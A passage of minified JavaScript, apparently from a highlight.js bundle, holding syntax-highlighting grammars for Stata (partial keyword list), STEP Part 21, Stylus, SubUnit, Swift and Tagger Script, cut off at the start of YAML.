ml_erdu0_nrbfgs ml_exde ml_footnote ml_geqnr ml_grad0 ml_graph ml_hbhhh ml_hd0 ml_hold ml_init ml_inv ml_log ml_max ml_mlout ml_mlout_8 ml_model ml_nb0 ml_opt ml_p ml_plot ml_query ml_rdgrd ml_repor ml_s_e ml_score ml_searc ml_technique ml_unhold mleval mlf_ mlmatbysum mlmatsum mlog mlogi mlogit mlogit_footnote mlogit_p mlopts mlsum mlvecsum mnl0_ mor more mov move mprobit mprobit_lf mprobit_p mrdu0_ mrdu1_ mvdecode mvencode mvreg mvreg_estat n|0 nbreg nbreg_al nbreg_lf nbreg_p nbreg_sw nestreg net newey newey_7 newey_p news nl nl_7 nl_9 nl_9_p nl_p nl_p_7 nlcom nlcom_p nlexp2 nlexp2_7 nlexp2a nlexp2a_7 nlexp3 nlexp3_7 nlgom3 nlgom3_7 nlgom4 nlgom4_7 nlinit nllog3 nllog3_7 nllog4 nllog4_7 nlog_rd nlogit nlogit_p nlogitgen nlogittree nlpred no nobreak noi nois noisi noisil noisily note notes notes_dlg nptrend numlabel numlist odbc old_ver olo olog ologi ologi_sw ologit ologit_p ologitp on one onew onewa oneway op_colnm op_comp op_diff op_inv op_str opr opro oprob oprob_sw oprobi oprobi_p oprobit oprobitp opts_exclusive order orthog orthpoly ou out outf outfi outfil outfile outs outsh outshe outshee outsheet ovtest pac pac_7 palette parse parse_dissim pause pca pca_8 pca_display pca_estat pca_p pca_rotate pcamat pchart pchart_7 pchi pchi_7 pcorr pctile pentium pergram pergram_7 permute permute_8 personal peto_st pkcollapse pkcross pkequiv pkexamine pkexamine_7 pkshape pksumm pksumm_7 pl plo plot plugin pnorm pnorm_7 poisgof poiss_lf poiss_sw poisso_p poisson poisson_estat post postclose postfile postutil pperron pr prais prais_e prais_e2 prais_p predict predictnl preserve print pro prob probi probit probit_estat probit_p proc_time procoverlay procrustes procrustes_estat procrustes_p profiler prog progr progra program prop proportion prtest prtesti pwcorr pwd q\\s qby qbys qchi qchi_7 qladder qladder_7 qnorm qnorm_7 qqplot qqplot_7 qreg qreg_c qreg_p qreg_sw qu quadchk quantile quantile_7 que quer query range ranksum ratio rchart rchart_7 rcof recast reclink recode reg reg3 reg3_p regdw regr regre regre_p2 regres regres_p regress regress_estat regriv_p remap ren rena renam rename renpfix repeat replace report reshape restore ret retu retur return rm rmdir robvar roccomp roccomp_7 roccomp_8 rocf_lf rocfit rocfit_8 rocgold rocplot rocplot_7 roctab roctab_7 rolling rologit rologit_p rot rota rotat rotate rotatemat rreg rreg_p ru run runtest rvfplot rvfplot_7 rvpplot rvpplot_7 sa safesum sample sampsi sav save savedresults saveold sc sca scal scala scalar scatter scm_mine sco scob_lf scob_p scobi_sw scobit scor score scoreplot scoreplot_help scree screeplot screeplot_help sdtest sdtesti se search separate seperate serrbar serrbar_7 serset set set_defaults sfrancia sh she shel shell shewhart shewhart_7 signestimationsample signrank signtest simul simul_7 simulate simulate_8 sktest sleep slogit slogit_d2 slogit_p smooth snapspan so sor sort spearman spikeplot spikeplot_7 spikeplt spline_x split sqreg sqreg_p sret sretu sretur sreturn ssc st st_ct st_hc st_hcd st_hcd_sh st_is st_issys st_note st_promo st_set st_show st_smpl st_subid stack statsby statsby_8 stbase stci stci_7 stcox stcox_estat stcox_fr stcox_fr_ll stcox_p stcox_sw stcoxkm stcoxkm_7 stcstat stcurv stcurve stcurve_7 stdes stem stepwise stereg stfill stgen stir stjoin stmc stmh stphplot stphplot_7 stphtest stphtest_7 stptime strate strate_7 streg streg_sw streset sts sts_7 stset stsplit stsum sttocc sttoct stvary stweib su suest suest_8 sum summ summa summar summari summariz summarize sunflower sureg survcurv survsum svar svar_p svmat svy svy_disp svy_dreg svy_est svy_est_7 svy_estat svy_get svy_gnbreg_p svy_head svy_header svy_heckman_p svy_heckprob_p svy_intreg_p svy_ivreg_p svy_logistic_p svy_logit_p svy_mlogit_p svy_nbreg_p svy_ologit_p svy_oprobit_p svy_poisson_p svy_probit_p svy_regress_p svy_sub svy_sub_7 svy_x svy_x_7 svy_x_p svydes svydes_8 svygen svygnbreg svyheckman svyheckprob svyintreg svyintreg_7 svyintrg svyivreg svylc svylog_p svylogit svymarkout svymarkout_8 svymean svymlog svymlogit svynbreg svyolog svyologit svyoprob svyoprobit svyopts svypois svypois_7 svypoisson svyprobit svyprobt svyprop svyprop_7 svyratio svyreg svyreg_p svyregress svyset svyset_7 svyset_8 svytab svytab_7 svytest svytotal sw sw_8 swcnreg swcox swereg swilk swlogis swlogit swologit swoprbt swpois swprobit swqreg swtobit swweib symmetry symmi symplot symplot_7 syntax sysdescribe sysdir sysuse szroeter ta tab tab1 tab2 tab_or tabd tabdi tabdis tabdisp tabi table tabodds tabodds_7 tabstat tabu tabul tabula tabulat tabulate te tempfile tempname tempvar tes test testnl testparm teststd tetrachoric time_it timer tis tob tobi tobit tobit_p tobit_sw token tokeni tokeniz tokenize tostring total translate translator transmap treat_ll treatr_p treatreg trim trimfill trnb_cons trnb_mean trpoiss_d2 trunc_ll truncr_p truncreg tsappend tset tsfill tsline tsline_ex tsreport tsrevar tsrline tsset tssmooth tsunab ttest ttesti tut_chk tut_wait tutorial tw tware_st two twoway twoway__fpfit_serset twoway__function_gen twoway__histogram_gen twoway__ipoint_serset twoway__ipoints_serset twoway__kdensity_gen twoway__lfit_serset twoway__normgen_gen twoway__pci_serset twoway__qfit_serset twoway__scatteri_serset twoway__sunflower_gen twoway_ksm_serset ty typ type typeof u|0 unab unabbrev unabcmd update us use uselabel var var_mkcompanion var_p varbasic varfcast vargranger varirf varirf_add varirf_cgraph varirf_create varirf_ctable varirf_describe varirf_dir varirf_drop varirf_erase varirf_graph varirf_ograph varirf_rename varirf_set varirf_table varlist varlmar varnorm varsoc varstable varstable_w varstable_w2 varwle vce vec vec_fevd vec_mkphi vec_p vec_p_w vecirf_create veclmar veclmar_w vecnorm vecnorm_w vecrank vecstable verinst vers versi versio version view viewsource vif vwls wdatetof webdescribe webseek webuse weib1_lf weib2_lf weib_lf weib_lf0 weibhet_glf weibhet_glf_sh weibhet_glfa weibhet_glfa_sh weibhet_gp weibhet_ilf weibhet_ilf_sh weibhet_ilfa weibhet_ilfa_sh weibhet_ip weibu_sw weibul_p weibull weibull_c weibull_s weibullhet wh whelp whi which whil while wilc_st wilcoxon win wind windo window winexec wntestb wntestb_7 wntestq xchart xchart_7 xcorr xcorr_7 xi xi_6 xmlsav xmlsave xmluse xpose xsh xshe xshel xshell xt_iis xt_tis xtab_p xtabond xtbin_p xtclog xtcloglog xtcloglog_8 xtcloglog_d2 xtcloglog_pa_p xtcloglog_re_p xtcnt_p xtcorr xtdata xtdes xtfront_p xtfrontier xtgee xtgee_elink xtgee_estat xtgee_makeivar xtgee_p xtgee_plink xtgls xtgls_p xthaus xthausman xtht_p xthtaylor xtile xtint_p xtintreg xtintreg_8 xtintreg_d2 xtintreg_p xtivp_1 xtivp_2 xtivreg xtline xtline_ex xtlogit xtlogit_8 xtlogit_d2 xtlogit_fe_p xtlogit_pa_p xtlogit_re_p xtmixed xtmixed_estat xtmixed_p xtnb_fe xtnb_lf xtnbreg xtnbreg_pa_p xtnbreg_refe_p xtpcse xtpcse_p xtpois xtpoisson xtpoisson_d2 xtpoisson_pa_p xtpoisson_refe_p xtpred xtprobit xtprobit_8 xtprobit_d2 xtprobit_re_p xtps_fe xtps_lf xtps_ren xtps_ren_8 xtrar_p xtrc xtrc_p xtrchh xtrefe_p xtreg xtreg_be xtreg_fe xtreg_ml xtreg_pa_p xtreg_re xtregar xtrere_p xtset xtsf_ll xtsf_llti xtsum xttab xttest0 xttobit xttobit_8 xttobit_p xttrans yx yxview__barlike_draw yxview_area_draw yxview_bar_draw yxview_dot_draw yxview_dropline_draw yxview_function_draw yxview_iarrow_draw yxview_ilabels_draw yxview_normal_draw yxview_pcarrow_draw yxview_pcbarrow_draw yxview_pccapsym_draw yxview_pcscatter_draw yxview_pcspike_draw yxview_rarea_draw yxview_rbar_draw yxview_rbarm_draw yxview_rcap_draw yxview_rcapsym_draw yxview_rconnected_draw yxview_rline_draw yxview_rscatter_draw yxview_rspike_draw yxview_spike_draw yxview_sunflower_draw zap_s zinb zinb_llf zinb_plf zip zip_llf zip_p zip_plf zt_ct_5 zt_hc_5 zt_hcd_5 zt_is_5 zt_iss_5 zt_sho_5 zt_smp_5 ztbase_5 ztcox_5 ztdes_5 ztereg_5 ztfill_5 ztgen_5 ztir_5 ztjoin_5 ztnb ztnb_p ztp ztp_p zts_5 ztset_5 ztspli_5 ztsum_5 zttoct_5 ztvary_5 ztweib_5",contains:[{className:"symbol",begin:/`[a-zA-Z0-9_]+'/},{className:"variable",begin:/\$\{?[a-zA-Z0-9_]+\}?/},{className:"string",variants:[{begin:`\`"[^\r ]*?"'`},{begin:`"[^\r "]*"`}]},{className:"built_in",variants:[{begin:"\\b(abs|acos|asin|atan|atan2|atanh|ceil|cloglog|comb|cos|digamma|exp|floor|invcloglog|invlogit|ln|lnfact|lnfactorial|lngamma|log|log10|max|min|mod|reldif|round|sign|sin|sqrt|sum|tan|tanh|trigamma|trunc|betaden|Binomial|binorm|binormal|chi2|chi2tail|dgammapda|dgammapdada|dgammapdadx|dgammapdx|dgammapdxdx|F|Fden|Ftail|gammaden|gammap|ibeta|invbinomial|invchi2|invchi2tail|invF|invFtail|invgammap|invibeta|invnchi2|invnFtail|invnibeta|invnorm|invnormal|invttail|nbetaden|nchi2|nFden|nFtail|nibeta|norm|normal|normalden|normd|npnchi2|tden|ttail|uniform|abbrev|char|index|indexnot|length|lower|ltrim|match|plural|proper|real|regexm|regexr|regexs|reverse|rtrim|string|strlen|strlower|strltrim|strmatch|strofreal|strpos|strproper|strreverse|strrtrim|strtrim|strupper|subinstr|subinword|substr|trim|upper|word|wordcount|_caller|autocode|byteorder|chop|clip|cond|e|epsdouble|epsfloat|group|inlist|inrange|irecode|matrix|maxbyte|maxdouble|maxfloat|maxint|maxlong|mi|minbyte|mindouble|minfloat|minint|minlong|missing|r|recode|replay|return|s|scalar|d|date|day|dow|doy|halfyear|mdy|month|quarter|week|year|d|daily|dofd|dofh|dofm|dofq|dofw|dofy|h|halfyearly|hofd|m|mofd|monthly|q|qofd|quarterly|tin|twithin|w|weekly|wofd|y|yearly|yh|ym|yofd|yq|yw|cholesky|colnumb|colsof|corr|det|diag|diag0cnt|el|get|hadamard|I|inv|invsym|issym|issymmetric|J|matmissing|matuniform|mreldif|nullmat|rownumb|rowsof|sweep|syminv|trace|vec|vecdiag)(?=\\()"}]},A.COMMENT("^[ \t]*\\*.*$",!1),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]}}M$8.exports=$Nq});var f$8=v((cLz,V$8)=>{function _Nq(A){return{name:"STEP Part 21",aliases:["p21","step","stp"],case_insensitive:!0,keywords:{$pattern:"[A-Z_][A-Z0-9_.]*",keyword:"HEADER ENDSEC DATA"},contains:[{className:"meta",begin:"ISO-10303-21;",relevance:10},{className:"meta",begin:"END-ISO-10303-21;",relevance:10},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.COMMENT("/\\*\\*!","\\*/"),A.C_NUMBER_MODE,A.inherit(A.APOS_STRING_MODE,{illegal:null}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),{className:"string",begin:"'",end:"'"},{className:"symbol",variants:[{begin:"#",end:"\\d+",illegal:"\\W"}]}]}}V$8.exports=_Nq});var T$8=v((lLz,N$8)=>{var GNq=(A)=>{return{IMPORTANT:{className:"meta",begin:"!important"},HEXCOLOR:{className:"number",begin:"#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})"},ATTRIBUTE_SELECTOR_MODE:{className:"selector-attr",begin:/\[/,end:/\]/,illegal:"$",contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}}},ZNq=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code","dd","del","details","dfn","div","dl","dt","em","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","html","i","iframe","img","input","ins","kbd","label","legend","li","main","mark","menu","nav","object","ol","p","q","quote","samp","section","span","strong","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","ul","var","video"],WNq=["any-hover","any-pointer","aspect-ratio","color","color-gamut","color-index","device-aspect-ratio","device-height","device-width","display-mode","forced-colors","grid","height","hover","inverted-colors","monochrome","orientation","overflow-block","overflow-inline","pointer","prefers-color-scheme","prefers-contrast","prefers-reduced-motion","prefers-reduced-transparency","resolution","scan","scripting","update","width","min-width","max-width","min-height","max-height"],DNq=["active","any-link","blank","checked","current","default","defined","dir","disabled","drop","empty","enabled","first","first-child","first-of-type","fullscreen","future","focus","focus-visible","focus-within","has","host","host-context","hover","indeterminate","in-range","invalid","is","lang","last-child","last-of-type","left","link","local-link","not","nth-child","nth-col","nth-last-child","nth-last-col","nth-last-of-type","nth-of-type","only-child","only-of-type","optional","out-of-range","past","placeholder-shown","read-only","read-write","required","right","root","scope","target","target-within","user-invalid","valid","visited","where"],jNq=["after","backdrop","before","cue","cue-region","first-letter","first-line","grammar-error","marker","part","placeholder","selection","slotted","spelling-error"],MNq=["align-content","align-items","align-self","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","auto","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","clip-path","color","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","cursor","direction","display","empty-cells","filter","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","font","font-display","font-family","font-feature-settings","font-kerning","font-language-override","font-size","font-size-adjust","font-smoothing","font-stretch","font-style","font-variant","font-variant-ligatures","font-variation-settings","font-weight","height","hyphens","icon","image-orientation","image-rendering","image-resolution","ime-mode","inherit","initial","justify-content","left","letter-spacing","line-height","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","mask","max-height","max-width","min-height","min-width","nav-down","nav-index","nav-left","nav-right","nav-up","none","normal","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page-break-after","page-break-before","page-break-inside","perspective","perspective-origin","pointer-events","position","quotes","resize","right","src","tab-size","table-layout","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-style","text-indent","text-overflow","text-rendering","text-shadow","text-transform","text-underline-position","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","white-space","widows","width","word-break","word-spacing","word-wrap","z-index"].reverse();function PNq(A){let K=GNq(A),q="and or not only",Y={className:"variable",begin:"\\$"+A.IDENT_RE},z=["charset","css","debug","extend","font-face","for","import","include","keyframes","media","mixin","page","warn","while"],w="(?=[.\\s\\n[:,(])";return{name:"Stylus",aliases:["styl"],case_insensitive:!1,keywords:"if else for in",illegal:"("+["\\?","(\\bReturn\\b)","(\\bEnd\\b)","(\\bend\\b)","(\\bdef\\b)",";","#\\s","\\*\\s","===\\s","\\|","%"].join("|")+")",contains:[A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,K.HEXCOLOR,{begin:"\\.[a-zA-Z][a-zA-Z0-9_-]*(?=[.\\s\\n[:,(])",className:"selector-class"},{begin:"#[a-zA-Z][a-zA-Z0-9_-]*(?=[.\\s\\n[:,(])",className:"selector-id"},{begin:"\\b("+ZNq.join("|")+")(?=[.\\s\\n[:,(])",className:"selector-tag"},{className:"selector-pseudo",begin:"&?:("+DNq.join("|")+")(?=[.\\s\\n[:,(])"},{className:"selector-pseudo",begin:"&?::("+jNq.join("|")+")(?=[.\\s\\n[:,(])"},K.ATTRIBUTE_SELECTOR_MODE,{className:"keyword",begin:/@media/,starts:{end:/[{;}]/,keywords:{$pattern:/[a-z-]+/,keyword:"and or not only",attribute:WNq.join(" ")},contains:[A.CSS_NUMBER_MODE]}},{className:"keyword",begin:"@((-(o|moz|ms|webkit)-)?("+z.join("|")+"))\\b"},Y,A.CSS_NUMBER_MODE,{className:"function",begin:"^[a-zA-Z][a-zA-Z0-9_-]*\\(.*\\)",illegal:"[\\n]",returnBegin:!0,contains:[{className:"title",begin:"\\b[a-zA-Z][a-zA-Z0-9_-]*"},{className:"params",begin:/\(/,end:/\)/,contains:[K.HEXCOLOR,Y,A.APOS_STRING_MODE,A.CSS_NUMBER_MODE,A.QUOTE_STRING_MODE]}]},{className:"attribute",begin:"\\b("+MNq.join("|")+")\\b",starts:{end:/;|$/,contains:[K.HEXCOLOR,Y,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.CSS_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,K.IMPORTANT],illegal:/\./,relevance:0}}]}}N$8.exports=PNq});var E$8=v((iLz,v$8)=>{function VNq(A){return{name:"SubUnit",case_insensitive:!0,contains:[{className:"string",begin:`\\[ (multipart)?`,end:`\\] `},{className:"string",begin:"\\d{4}-\\d{2}-\\d{2}(\\s+)\\d{2}:\\d{2}:\\d{2}.\\d+Z"},{className:"string",begin:"(\\+|-)\\d+"},{className:"keyword",relevance:10,variants:[{begin:"^(test|testing|success|successful|failure|error|skip|xfail|uxsuccess)(:?)\\s+(test)?"},{begin:"^progress(:?)(\\s+)?(pop|push)?"},{begin:"^tags:"},{begin:"^time:"}]}]}}v$8.exports=VNq});var b$8=v((nLz,h$8)=>{function R$8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function iwA(A){return $w("(?=",A,")")}function $w(...A){return A.map((q)=>R$8(q)).join("")}function cj(...A){return"("+A.map((q)=>R$8(q)).join("|")+")"}var Nx1=(A)=>$w(/\b/,A,/\w$/.test(A)?/\b/:/\B/),k$8=["Protocol","Type"].map(Nx1),Mx1=["init","self"].map(Nx1),fNq=["Any","Self"],Px1=["associatedtype","async","await",/as\?/,/as!/,"as","break","case","catch","class","continue","convenience","default","defer","deinit","didSet","do","dynamic","else","enum","extension","fallthrough",/fileprivate\(set\)/,"fileprivate","final","for","func","get","guard","if","import","indirect","infix",/init\?/,/init!/,"inout",/internal\(set\)/,"internal","in","is","lazy","let","mutating","nonmutating",/open\(set\)/,"open","operator","optional","override","postfix","precedencegroup","prefix",/private\(set\)/,"private","protocol",/public\(set\)/,"public","repeat","required","rethrows","return","set","some","static","struct","subscript","super","switch","throws","throw",/try\?/,/try!/,"try","typealias",/unowned\(safe\)/,/unowned\(unsafe\)/,"unowned","var","weak","where","while","willSet"],C$8=["false","nil","true"],NNq=["assignment","associativity","higherThan","left","lowerThan","none","right"],TNq=["#colorLiteral","#column","#dsohandle","#else","#elseif","#endif","#error","#file","#fileID","#fileLiteral","#filePath","#function","#if","#imageLiteral","#keyPath","#line","#selector","#sourceLocation","#warn_unqualified_access","#warning"],L$8=["abs","all","any","assert","assertionFailure","debugPrint","dump","fatalError","getVaList","isKnownUniquelyReferenced","max","min","numericCast","pointwiseMax","pointwiseMin","precondition","preconditionFailure","print","readLine","repeatElement","sequence","stride","swap","swift_unboxFromSwiftValueWithType","transcode","type","unsafeBitCast","unsafeDowncast","withExtendedLifetime","withUnsafeMutablePointer","withUnsafePointer","withVaList","withoutActuallyEscaping","zip"],y$8=cj(/[/=\-+!*%<>&|^~?]/,/[\u00A1-\u00A7]/,/[\u00A9\u00AB]/,/[\u00AC\u00AE]/,/[\u00B0\u00B1]/,/[\u00B6\u00BB\u00BF\u00D7\u00F7]/,/[\u2016-\u2017]/,/[\u2020-\u2027]/,/[\u2030-\u203E]/,/[\u2041-\u2053]/,/[\u2055-\u205E]/,/[\u2190-\u23FF]/,/[\u2500-\u2775]/,/[\u2794-\u2BFF]/,/[\u2E00-\u2E7F]/,/[\u3001-\u3003]/,/[\u3008-\u3020]/,/[\u3030]/),I$8=cj(y$8,/[\u0300-\u036F]/,/[\u1DC0-\u1DFF]/,/[\u20D0-\u20FF]/,/[\uFE00-\uFE0F]/,/[\uFE20-\uFE2F]/),Vx1=$w(y$8,I$8,"*"),S$8=cj(/[a-zA-Z_]/,/[\u00A8\u00AA\u00AD\u00AF\u00B2-\u00B5\u00B7-\u00BA]/,/[\u00BC-\u00BE\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u00FF]/,/[\u0100-\u02FF\u0370-\u167F\u1681-\u180D\u180F-\u1DBF]/,/[\u1E00-\u1FFF]/,/[\u200B-\u200D\u202A-\u202E\u203F-\u2040\u2054\u2060-\u206F]/,/[\u2070-\u20CF\u2100-\u218F\u2460-\u24FF\u2776-\u2793]/,/[\u2C00-\u2DFF\u2E80-\u2FFF]/,/[\u3004-\u3007\u3021-\u302F\u3031-\u303F\u3040-\uD7FF]/,/[\uF900-\uFD3D\uFD40-\uFDCF\uFDF0-\uFE1F\uFE30-\uFE44]/,/[\uFE47-\uFEFE\uFF00-\uFFFD]/),EaA=cj(S$8,/\d/,/[\u0300-\u036F\u1DC0-\u1DFF\u20D0-\u20FF\uFE20-\uFE2F]/),lg=$w(S$8,EaA,"*"),fx1=$w(/[A-Z]/,EaA,"*"),vNq=["autoclosure",$w(/convention\(/,cj("swift","block","c"),/\)/),"discardableResult","dynamicCallable","dynamicMemberLookup","escaping","frozen","GKInspectable","IBAction","IBDesignable","IBInspectable","IBOutlet","IBSegueAction","inlinable","main","nonobjc","NSApplicationMain","NSCopying","NSManaged",$w(/objc\(/,lg,/\)/),"objc","objcMembers","propertyWrapper","requires_stored_property_inits","testable","UIApplicationMain","unknown","usableFromInline"],ENq=["iOS","iOSApplicationExtension","macOS","macOSApplicationExtension","macCatalyst","macCatalystApplicationExtension","watchOS","watchOSApplicationExtension","tvOS","tvOSApplicationExtension","swift"];function kNq(A){let K={match:/\s+/,relevance:0},q=A.COMMENT("/\\*","\\*/",{contains:["self"]}),Y=[A.C_LINE_COMMENT_MODE,q],z={className:"keyword",begin:$w(/\./,iwA(cj(...k$8,...Mx1))),end:cj(...k$8,...Mx1),excludeBegin:!0},w={match:$w(/\./,cj(...Px1)),relevance:0},H=Px1.filter((wA)=>typeof wA==="string").concat(["_|0"]),J=Px1.filter((wA)=>typeof wA!=="string").concat(fNq).map(Nx1),O={variants:[{className:"keyword",match:cj(...J,...Mx1)}]},X={$pattern:cj(/\b\w+/,/#\w+/),keyword:H.concat(TNq),literal:C$8},$=[z,w,O],_={match:$w(/\./,cj(...L$8)),relevance:0},G={className:"built_in",match:$w(/\b/,cj(...L$8),/(?=\()/)},Z=[_,G],W={match:/->/,relevance:0},D={className:"operator",relevance:0,variants:[{match:Vx1},{match:`\\.(\\.|${I$8})+`}]},j=[W,D],M="([0-9]_*)+",P="([0-9a-fA-F]_*)+",f={className:"number",relevance:0,variants:[{match:"\\b(([0-9]_*)+)(\\.(([0-9]_*)+))?([eE][+-]?(([0-9]_*)+))?\\b"},{match:"\\b0x(([0-9a-fA-F]_*)+)(\\.(([0-9a-fA-F]_*)+))?([pP][+-]?(([0-9]_*)+))?\\b"},{match:/\b0o([0-7]_*)+\b/},{match:/\b0b([01]_*)+\b/}]},N=(wA="")=>({className:"subst",variants:[{match:$w(/\\/,wA,/[0\\tnr"']/)},{match:$w(/\\/,wA,/u\{[0-9a-fA-F]{1,8}\}/)}]}),T=(wA="")=>({className:"subst",match:$w(/\\/,wA,/[\t ]*(?:[\r\n]|\r\n)/)}),C=(wA="")=>({className:"subst",label:"interpol",begin:$w(/\\/,wA,/\(/),end:/\)/}),R=(wA="")=>({begin:$w(wA,/"""/),end:$w(/"""/,wA),contains:[N(wA),T(wA),C(wA)]}),x=(wA="")=>({begin:$w(wA,/"/),end:$w(/"/,wA),contains:[N(wA),C(wA)]}),y={className:"string",variants:[R(),R("#"),R("##"),R("###"),x(),x("#"),x("##"),x("###")]},B={match:$w(/`/,lg,/`/)},b={className:"variable",match:/\$\d+/},F={className:"variable",match:`\\$${EaA}+`},Q=[B,b,F],u={match:/(@|#)available/,className:"keyword",starts:{contains:[{begin:/\(/,end:/\)/,keywords:ENq,contains:[...j,f,y]}]}},d={className:"keyword",match:$w(/@/,cj(...vNq))},r={className:"meta",match:$w(/@/,lg)},c=[u,d,r],YA={match:iwA(/\b[A-Z]/),relevance:0,contains:[{className:"type",match:$w(/(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)/,EaA,"+")},{className:"type",match:fx1,relevance:0},{match:/[?!]+/,relevance:0},{match:/\.\.\./,relevance:0},{match:$w(/\s+&\s+/,iwA(fx1)),relevance:0}]},e={begin:/</,end:/>/,keywords:X,contains:[...Y,...$,...c,W,YA]};YA.contains.push(e);let qA={match:$w(lg,/\s*:/),keywords:"_|0",relevance:0},HA={begin:/\(/,end:/\)/,relevance:0,keywords:X,contains:["self",qA,...Y,...$,...Z,...j,f,y,...Q,...c,YA]},_A={beginKeywords:"func",contains:[{className:"title",match:cj(B.match,lg,Vx1),endsParent:!0,relevance:0},K]},a={begin:/</,end:/>/,contains:[...Y,YA]},JA={begin:cj(iwA($w(lg,/\s*:/)),iwA($w(lg,/\s+/,lg,/\s*:/))),end:/:/,relevance:0,contains:[{className:"keyword",match:/\b_\b/},{className:"params",match:lg}]},jA={begin:/\(/,end:/\)/,keywords:X,contains:[JA,...Y,...$,...j,f,y,...c,YA,HA],endsParent:!0,illegal:/["']/},MA={className:"function",match:iwA(/\bfunc\b/),contains:[_A,a,jA,K],illegal:[/\[/,/%/]},hA={className:"function",match:/\b(subscript|init[?!]?)\s*(?=[<(])/,keywords:{keyword:"subscript init init? init!",$pattern:/\w+[?!]?/},contains:[a,jA,K],illegal:/\[|%/},yA={beginKeywords:"operator",end:A.MATCH_NOTHING_RE,contains:[{className:"title",match:Vx1,endsParent:!0,relevance:0}]},AA={beginKeywords:"precedencegroup",end:A.MATCH_NOTHING_RE,contains:[{className:"title",match:fx1,relevance:0},{begin:/{/,end:/}/,relevance:0,endsParent:!0,keywords:[...NNq,...C$8],contains:[YA]}]};for(let wA of y.variants){let GA=wA.contains.find((t)=>t.label==="interpol");GA.keywords=X;let OA=[...$,...Z,...j,f,y,...Q];GA.contains=[...OA,{begin:/\(/,end:/\)/,contains:["self",...OA]}]}return{name:"Swift",keywords:X,contains:[...Y,MA,hA,{className:"class",beginKeywords:"struct protocol class extension enum",end:"\\{",excludeEnd:!0,keywords:X,contains:[A.inherit(A.TITLE_MODE,{begin:/[A-Za-z$_][\u00C0-\u02B80-9A-Za-z$_]*/}),...$]},yA,AA,{beginKeywords:"import",end:/$/,contains:[...Y],relevance:0},...$,...Z,...j,f,y,...Q,...c,YA,HA]}}h$8.exports=kNq});var u$8=v((rLz,x$8)=>{function CNq(A){return{name:"Tagger Script",contains:[{className:"comment",begin:/\$noop\(/,end:/\)/,contains:[{begin:/\(/,end:/\)/,contains:["self",{begin:/\\./}]}],relevance:10},{className:"keyword",begin:/\$(?!noop)[a-zA-Z][_a-zA-Z0-9]*/,end:/\(/,excludeEnd:!0},{className:"variable",begin:/%[_a-zA-Z0-9:]*/,end:"%"},{className:"symbol",begin:/\\./}]}}x$8.exports=CNq});var m$8=v((oLz,B$8)=>{function LNq(A){var K="true false yes no null",q="[\\w#;/?:@&=+$,.~*'()[\\]]+",Y={className:"attr",variants:[{begin:"\\w[\\w :\\/.-]*:(?=[ \t]|$)"},{begin:'"\\w[\\w :\\/.-]*":(?=[ \t]|$)'},{begin:"'\\w[\\w :\\/.-]*':(?=[ \t]|$)"}]},z={className:"template-variable",variants:[{begin:/\{\{/,end:/\}\}/},{begin:/%\{/,end:/\}/}]},w={className:"string",relevance:0,variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/\S+/}],contains:[A.BACKSLASH_ESCAPE,z]},H=A.inherit(w,{variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/[^\s,{}[\]]+/}]}),J="[0-9]{4}(-[0-9][0-9]){0,2}",O="([Tt \\t][0-9][0-9]?(:[0-9][0-9]){2})?",X="(\\.[0-9]*)?",$="([ \\t])*(Z|[-+][0-9][0-9]?(:[0-9][0-9])?)?",_={className:"number",begin:"\\b"+J+O+X+$+"\\b"},G={end:",",endsWithParent:!0,excludeEnd:!0,keywords:K,relevance:0},Z={begin:/\{/,end:/\}/,contains:[G],illegal:"\\n",relevance:0},W={begin:"\\[",end:"\\]",contains:[G],illegal:"\\n",relevance:0},D=[Y,{className:"meta",begin:"^---\\s*$",relevance:10},{className:"string",begin:"[\\|>]([1-9]?[+-])?[ ]*\\n( +)[^ 